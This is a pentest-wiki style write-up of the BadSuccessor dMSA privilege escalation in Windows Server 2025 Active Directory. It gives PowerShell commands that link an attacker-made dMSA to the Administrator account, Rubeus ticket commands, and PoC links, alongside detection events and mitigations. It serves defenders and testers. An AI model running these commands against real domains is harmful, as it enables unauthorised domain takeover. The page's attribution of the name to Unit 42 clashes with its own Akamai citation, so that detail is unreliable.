BadSuccessor: Privilege Escalation via Delegated MSA Migration Abuse

Overview

Delegated Managed Service Accounts (dMSA) are the next-generation successor of gMSA that ship in Windows Server 2025. A legitimate migration workflow allows administrators to replace an old account (user, computer or service account) with a dMSA while transparently preserving permissions. The workflow is exposed through PowerShell cmdlets such as Start-ADServiceAccountMigration and Complete-ADServiceAccountMigration and relies on two LDAP attributes of the dMSA object:

• msDS-ManagedAccountPrecededByLink – DN link to the superseded (old) account.
• msDS-DelegatedMSAState – migration state (0 = none, 1 = in-progress, 2 = completed).^[1]

If an attacker can create any dMSA inside an OU and directly manipulate those 2 attributes, LSASS & the KDC will treat the dMSA as a successor of the linked account. When the attacker subsequently authenticates as the dMSA they inherit all the privileges of the linked account – up to Domain Admin if the Administrator account is linked.^[1]

This technique was coined BadSuccessor by Unit 42 in 2025. Microsoft later assigned it CVE-2025-53779 and released a security update in August 2025. The technique remains relevant to unpatched Windows Server 2025 environments and to reviews of dangerous OU delegation.^[1][2][6]

Attack prerequisites

1. An account that is allowed to create objects inside an Organizational Unit (OU) and has at least one of:
   • Create Child → msDS-DelegatedManagedServiceAccount object class
   • Create Child → All Objects (generic create)
2. Network connectivity to LDAP & Kerberos (standard domain joined scenario / remote attack).^[1]

Enumerating Vulnerable OUs

Unit 42 released a PowerShell helper script that parses security descriptors of each OU and highlights the required ACEs:^[1]

Get-BadSuccessorOUPermissions.ps1 -Domain contoso.local

Under the hood the script runs a paged LDAP search for (objectClass=organizationalUnit) and checks every nTSecurityDescriptor for

• ADS_RIGHT_DS_CREATE_CHILD (0x0001)
• Active Directory Schema ID: 31ed51fa-77b1-4175-884a-5c6f3f6f34e8 (object class msDS-DelegatedManagedServiceAccount)

Exploitation Steps

Once a writable OU is identified the attack is only 3 LDAP writes away:^[1]

# 1. Create a new delegated MSA inside the delegated OU
New-ADServiceAccount -Name attacker_dMSA \
                     -DNSHostName host.contoso.local \
                     -Path "OU=DelegatedOU,DC=contoso,DC=com"

# 2. Point the dMSA to the target account (e.g. Domain Admin)
Set-ADServiceAccount attacker_dMSA -Add \
    @{msDS-ManagedAccountPrecededByLink="CN=Administrator,CN=Users,DC=contoso,DC=com"}

# 3. Mark the migration as *completed*
Set-ADServiceAccount attacker_dMSA -Replace @{msDS-DelegatedMSAState=2}

After replication the attacker can simply logon as attacker_dMSA$ or request a Kerberos TGT – Windows will build the token of the superseded account.^[1]

Automation

Several public PoCs wrap the entire workflow including password retrieval and ticket management:

• SharpSuccessor (C#) – https://github.com/logangoins/SharpSuccessor^[3]
• BadSuccessor.ps1 (PowerShell) – https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1^[4]
• NetExec module – badsuccessor (Python) – https://github.com/Pennyw0rth/NetExec^[5]

Post-Exploitation

# Request a TGT for the dMSA and inject it (Rubeus)
Rubeus asktgt /user:attacker_dMSA$ /password:<ClearTextPwd> /domain:contoso.local
Rubeus ptt /ticket:<Base64TGT>

# Access Domain Admin resources
dir \\DC01\C$

Detection & Hunting

Enable Object Auditing on OUs and monitor for the following Windows Security Events:^[1][2]

• 5137 – Creation of the dMSA object
• 5136 – Modification of msDS-ManagedAccountPrecededByLink
• 4662 – Specific attribute changes
  • GUID 2f5c138a-bd38-4016-88b4-0ec87cbb4919 → msDS-DelegatedMSAState
  • GUID a0945b2b-57a2-43bd-b327-4d112a4e8bd1 → msDS-ManagedAccountPrecededByLink
• 2946 – TGT issuance for the dMSA

Correlating 4662 (attribute modification), 4741 (creation of a computer/service account) and 4624 (subsequent logon) quickly highlights BadSuccessor activity. XDR solutions such as XSIAM ship with ready-to-use queries (see references).^[2]

Mitigation

• Apply Microsoft’s security update for CVE-2025-53779 and verify the patch level of every Windows Server 2025 domain controller.^[6]
• Apply the principle of least privilege – only delegate Service Account management to trusted roles.
• Remove Create Child / msDS-DelegatedManagedServiceAccount from OUs that do not explicitly require it.
• Monitor for the event IDs listed above and alert on non-Tier-0 identities creating or editing dMSAs.

See also

Golden Dmsa Gmsa

References

• [1] BadSuccessor: Abusing dMSA to Escalate Privileges in Active Directory – Akamai
• [2] Unit42 – When Good Accounts Go Bad: Exploiting Delegated Managed Service Accounts
• [3] SharpSuccessor PoC
• [4] BadSuccessor.ps1 – Pentest-Tools-Collection
• [5] NetExec BadSuccessor module
• [6] Microsoft Security Response Center – CVE-2025-53779